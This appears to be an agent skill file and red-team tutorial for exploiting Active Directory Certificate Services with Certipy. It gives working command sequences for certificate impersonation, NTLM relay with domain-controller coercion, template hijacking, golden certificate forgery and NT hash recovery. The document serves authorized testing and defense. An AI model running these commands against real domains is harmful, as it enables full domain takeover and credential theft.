Exploiting Adcs With Certipy

---
name: exploiting-adcs-with-certipy
description: Use Certipy to enumerate AD CS certificate authorities and templates over LDAP/RPC, then exploit ESC1-ESC16 misconfigurations - SAN abuse, NTLM relay to web enrollment (ESC8), Shadow Credentials, golden certificate forgery, and PKINIT/Schannel auth. Use during authorized penetration tests to escalate a domain foothold to Domain Admin, or to validate that certificate template ACLs and CA hardening detect these attacks.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- active-directory
- adcs
- certipy
- esc1
- esc8
- privilege-escalation
- pkinit
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.AA-05
mitre_attack:
- T1649
---
# Exploiting AD CS with Certipy

> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Active Directory Certificate Services attacks can result in full domain compromise. Run these techniques only against systems you own or have explicit written authorization to test. Unauthorized use is illegal under computer fraud statutes.

## Overview

Active Directory Certificate Services (AD CS) is Microsoft's public-key infrastructure role used to issue certificates for authentication, encryption, and signing inside a Windows domain. SpecterOps researchers Will Schroeder and Lee Christensen documented a family of privilege-escalation primitives in their 2021 whitepaper *Certified Pre-Owned*, naming them ESC1 through ESC8. The community has since extended the catalog through ESC16. Because a certificate that maps to a privileged principal can be used for PKINIT Kerberos authentication, an attacker who obtains such a certificate can authenticate as a Domain Admin or Domain Controller without ever knowing the password — and the certificate remains valid even after a password reset.

**Certipy** (package `certipy-ad`, maintained by Oliver Lyak / `ly4k`) is the de-facto offensive toolkit for AD CS. It is a pure-Python tool that enumerates certificate authorities and templates over LDAP/RPC, requests and forges certificates, performs PKINIT/Schannel authentication, runs Shadow Credentials attacks, and relays coerced NTLM authentication into AD CS HTTP and RPC enrollment endpoints. Certipy supports detection and exploitation across the full ESC1-ESC16 range, making it the primary tool for AD CS assessment. Source: [ly4k/Certipy](https://github.com/ly4k/Certipy) and [SpecterOps "Certified Pre-Owned"](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).

## When to Use

- During internal penetration tests and red-team engagements where AD CS is in scope
- When a low-privileged domain foothold needs a path to Domain Admin / Domain Controller
- To validate that certificate template ACLs and CA configuration are hardened
- When testing detection coverage for certificate-based privilege escalation
- During purple-team exercises to generate ESC1/ESC8 telemetry for blue-team tuning

## Prerequisites

- Authorized engagement scope that explicitly includes AD CS exploitation
- A foothold: valid domain credentials (password, NT hash, or Kerberos ticket) for any low-privileged user
- Network reachability to a Domain Controller (LDAP/389, LDAPS/636) and the CA host
- Python 3.10+ (Certipy 5.x requires Python 3.12+) and a Linux attack host
- Install Certipy:
  ```bash
  # Recommended isolated install
  pipx install certipy-ad
  # Or with pip
  pip install certipy-ad
  # Verify
  certipy --version
  ```
- For ESC8 relay you also need a coercion tool (Coercer/PetitPotam) and reachable victim machine accounts

## Objectives

- Enumerate every CA, template, and enrollment endpoint in the forest
- Identify which ESC1-ESC16 misconfigurations are exploitable from the current principal
- Request a certificate impersonating a privileged target (ESC1 SAN abuse)
- Relay coerced authentication into AD CS web enrollment to obtain a DC certificate (ESC8)
- Authenticate with a forged/issued certificate to recover a TGT and NT hash
- Document each finding with evidence and remediation guidance

## MITRE ATT&CK Mapping

| ID | Technique | Application in this skill |
|----|-----------|---------------------------|
| T1649 | Steal or Forge Authentication Certificates | Requesting, forging, and abusing AD CS certificates (ESC1-ESC16) to authenticate as privileged principals |

## Workflow

### Step 1: Enumerate AD CS with `certipy find`
Collect CA and template configuration and flag vulnerable templates. `find` runs LDAP and RPC queries and produces JSON, a BloodHound-compatible ZIP, and a human-readable text report.

```bash
# Full enumeration, only enabled templates, hide built-in admin ACEs
certipy find \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -text -enabled -hide-admins

# Output only templates Certipy considers vulnerable
certipy find \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -vulnerable -stdout

# Authenticate with an NT hash instead of a password
certipy find -u 'attacker@corp.local' -hashes ':fc525c9683e8fe067095ba2ddc971889' \
    -dc-ip 10.0.0.100 -vulnerable -stdout
```
Review the `[!] Vulnerabilities` block in the output. Each finding is labeled `ESC1`...`ESC16` with the affected template/CA name.

### Step 2: Exploit ESC1 — Enrollee-Supplied Subject (SAN abuse)
ESC1 templates let a low-privileged enrollee specify an arbitrary Subject Alternative Name and include the Client Authentication EKU. Request a certificate for a privileged UPN and pin the target SID (Certipy auto-adds the SID extension to satisfy the post-May-2022 strong-mapping patch).

```bash
certipy req \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
    -ca 'CORP-CA' -template 'VulnUserTemplate' \
    -upn 'administrator@corp.local' \
    -sid 'S-1-5-21-1111111111-2222222222-3333333333-500'
# -> saves administrator.pfx
```

### Step 3: Authenticate with the certificate via `certipy auth`
Use the issued PFX to perform PKINIT, obtain a TGT, and recover the target's NT hash.

```bash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100
# Output: a .ccache TGT and the recovered NT hash for administrator
```
If PKINIT is unavailable, fall back to Schannel/LDAP authentication:
```bash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell
```

### Step 4: Exploit ESC8 — NTLM relay to AD CS Web Enrollment
ESC8 abuses the AD CS web enrollment interface (`/certsrv/`) that accepts NTLM auth. Stand up Certipy's relay server targeting the CA's HTTP endpoint, then coerce a Domain Controller to authenticate to your relay (coercion covered in the Coercer skill).

```bash
# Terminal 1: relay coerced auth into web enrollment, request a DC cert
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'

# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50
```
Certipy writes a `dc.pfx`. Authenticate as the DC machine account and DCSync:
```bash
certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
```

### Step 5: Exploit ESC4 — Template ACL hijack
If you hold write access over a template, temporarily reconfigure it into an ESC1-vulnerable state, exploit, then restore.

```bash
# Make the template vulnerable (save the original config first)
certipy template -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration
# ... run Step 2 ESC1 request, then restore the saved configuration
```

### Step 6: Forge a Golden Certificate (post-compromise persistence)
With access to the CA's private key (e.g., via backup), forge certificates for any principal offline.

```bash
# Extract the CA certificate and private key from a compromised CA
certipy ca -backup -u 'admin@corp.local' -hashes :<nthash> \
    -ca 'CORP-CA' -dc-ip 10.0.0.100

# Forge a certificate for any user using the CA key
certipy forge -ca-pfx 'CORP-CA.pfx' \
    -upn 'administrator@corp.local' \
    -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'
```

### Step 7: Shadow Credentials shortcut
If you have write access to a target's `msDS-KeyCredentialLink`, Certipy can take over the account end-to-end (see the dedicated Shadow Credentials skill).

```bash
certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim-dc$'
```

## Tools and Resources

| Resource | Purpose | Link |
|----------|---------|------|
| Certipy (ly4k) | Primary AD CS attack toolkit | https://github.com/ly4k/Certipy |
| Certipy Wiki | Command reference and ESC explanations | https://github.com/ly4k/Certipy/wiki |
| Certified Pre-Owned (SpecterOps) | Original ESC1-ESC8 research | https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf |
| The Hacker Recipes — AD CS | Attack walkthroughs | https://www.thehacker.recipes/ad/movement/ad-cs |
| Impacket ntlmrelayx | Alternative ESC8 relay | https://github.com/fortra/impacket |

## ESC Vulnerability Reference

| ESC | Misconfiguration |
|-----|------------------|
| ESC1 | Enrollee-supplied subject + Client Auth EKU on a low-priv template |
| ESC2 | Any Purpose / no EKU template usable as enrollment agent |
| ESC3 | Enrollment Agent template with loose enroll rights |
| ESC4 | Write access over a template (hijack into ESC1) |
| ESC5 | Weak ACLs on PKI objects (CA, NTAuthCertificates) |
| ESC6 | CA `EDITF_ATTRIBUTESUBJECTALTNAME2` allows arbitrary SAN |
| ESC7 | Dangerous `Manage CA` / `Manage Certificates` permissions |
| ESC8 | NTLM relay to AD CS HTTP web enrollment |
| ESC9 | No security extension (`szOID_NTDS_CA_SECURITY_EXT`) on template |
| ESC10 | Weak certificate mapping registry settings |
| ESC11 | NTLM relay to AD CS RPC (ICertPassage) endpoint |
| ESC13 | Issuance policy linked to a privileged group (OID group link) |
| ESC15 | Application Policies abuse (CVE-2024-49019, "EKUwu") |
| ESC16 | Security extension disabled CA-wide |

## Validation Criteria

- [ ] `certipy find -vulnerable` ran and produced a list of exploitable templates/CAs
- [ ] At least one ESC misconfiguration confirmed with a successful `certipy req`
- [ ] `certipy auth` returned a TGT and NT hash for the impersonated privileged account
- [ ] ESC8 relay (if in scope) yielded a Domain Controller certificate
- [ ] Any modified template (ESC4) was restored to its original configuration
- [ ] Each finding documented with command output, affected object, and remediation
- [ ] Issued certificates and PFX files securely handled and removed at engagement close